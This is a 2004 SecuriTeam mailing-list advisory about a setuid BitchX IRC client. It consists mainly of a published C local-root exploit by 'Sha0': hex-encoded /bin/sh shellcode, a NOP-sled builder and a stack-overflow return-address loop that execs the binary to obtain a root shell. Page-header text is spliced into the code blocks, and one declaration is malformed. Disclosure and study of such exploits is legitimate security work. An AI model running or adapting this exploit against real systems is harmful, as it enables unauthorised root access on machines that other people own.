

[EXPL] BitchX Local Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0070.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/20/04

To: list@securiteam.com

Date: 20 Oct 2004 18:49:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

BitchX Local Root Exploit

SUMMARY

Presented below is an exploit for BitchX, a linux IRC client. If the BitchX binary is installed SetUID (to allow SSL access for non root users for example), an attacker can exploit a stack overflow and gain root privileges.

DETAILS

```
// BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)  
// este exploit se lo dedico a mi chica.  
// 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)  
// 2052 to the ret
```

```
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <unistd.h>
```

```
char payload[69];  
char sha0code[] =  
"\xeb\x16\x5b\x31\xc0"  
"\x50\x53\xb0\x0b\x89"
```

Securiteam: [EXPL] BitchX Local Root Exploit

```
"\xdb\x89\xe1\x31\xd2"  
"\xcd\x80\x31\xc0\x40"  
"\x31\xdb\xcd\x80\xe8"  
"\xe5\xff\xff\xff\x2f"  
"\x62\x69\x6e\x2f\x73\x68";  
  
void nopea (void);  
  
int main (int argc, char **argv) {  
  
    char *buff;  
    char *arg1="bash";  
    char *arg2="-c";  
    char *arg[]={arg1,arg2,buff,NULL};  
    char *env[]{"TERM=xterm",payload,NULL};  
    char offset[]="";  
    char sret[4];  
    unsigned long lret;  
    int i;  
  
    if (argc != 2) {  
        fprintf (stdout,"BitchX exploit Coded By Sha0\n");  
        fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);  
        return (1);  
    }  
  
    buff = (char *)malloc (2100);  
    bzero (buff,sizeof(buff));  
    arg[2] = buff;  
  
    nopea ();  
  
    lret = 0xbfffffff - strlen(payload) - strlen(argv[1]);  
    sret[0] = (0x000000ff & lret);  
    sret[1] = (0x0000ff00 & lret) >> 8;  
    sret[2] = (0x00ff0000 & lret) >> 16;  
    sret[3] = (0xff000000 & lret) >> 24;  
  
    for (i=0;i<2088;i+=4) // 2088 tirando largo.  
        memcpy (buff+i,sret,4);  
  
    execve (argv[1],arg,env);  
    perror ("execve()");  
  
    free (buff);  
    return (0);  
}  
  
void nopea (void) {  
    bzero (payload,sizeof(payload));  
    memset (payload,0x90,sizeof(payload)-1);
```

Securiteam: [EXPL] BitchX Local Root Exploit

```
    memcpy
(payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:arpa@linuxmail.org> Sha0.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.